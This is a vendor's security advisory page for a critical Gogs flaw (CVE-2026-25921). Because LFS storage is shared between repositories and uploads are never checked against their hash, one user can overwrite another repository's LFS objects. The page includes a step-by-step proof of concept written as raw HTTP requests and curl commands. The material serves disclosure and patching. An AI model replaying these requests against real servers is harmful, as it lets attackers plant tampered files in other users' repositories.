How severe is GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c has a CVSS score of 9.3/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c affects the following packages: gogs.io/gogs (Go). Ecosystems affected: Go.

How do I fix GHSA-cj4v-437j-jq4c?

Update gogs.io/gogs to 0.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cj4v-437j-jq4c is resolved across your whole dependency graph.

How do I detect GHSA-cj4v-437j-jq4c in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-cj4v-437j-jq4c if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-cj4v-437j-jq4c?

O3 pinpoints whether GHSA-cj4v-437j-jq4c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-cj4v-437j-jq4c actively exploited in the wild?

No public exploit code has been indexed for GHSA-cj4v-437j-jq4c yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 24th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c is classified as CWE-345 (CWE-345). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-cj4v-437j-jq4c published, and has it been updated?

GHSA-cj4v-437j-jq4c was published on March 5, 2026 and was last updated on March 23, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-cj4v-437j-jq4c

CRITICAL

Gogs: Cross-repository LFS object overwrite via missing content hash verification

Also known asCVE-2026-25921GO-2026-4616

Published

Mar 5, 2026

Updated

Mar 23, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk24th percentile+0.29%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹gogs.io/gogs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.

Details

Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58

Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89

Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113

PoC

# ./gogs -v
Gogs version 0.13.0

1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally

POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168

{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}

response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
                                     'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
                          'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
              'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
              'size': 1048576}],
 'transfer': 'basic'}

[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response:  <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92

{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}

response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT

In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a

2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`

PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response:  <Response [200]>

3. Verify the content has been overwritten:

# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced

Impact

All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.

Fix Suggestion

Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.

Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`gogs.io/gogs`	all versions	0.14.2

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gogs.io/gogs to 0.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cj4v-437j-jq4c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cj4v-437j-jq4c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cj4v-437j-jq4c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers. ### Details Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58 Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.

O3 Security · Impact-Aware SCA

Is GHSA-cj4v-437j-jq4c in your dependencies?

O3 detects GHSA-cj4v-437j-jq4c across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works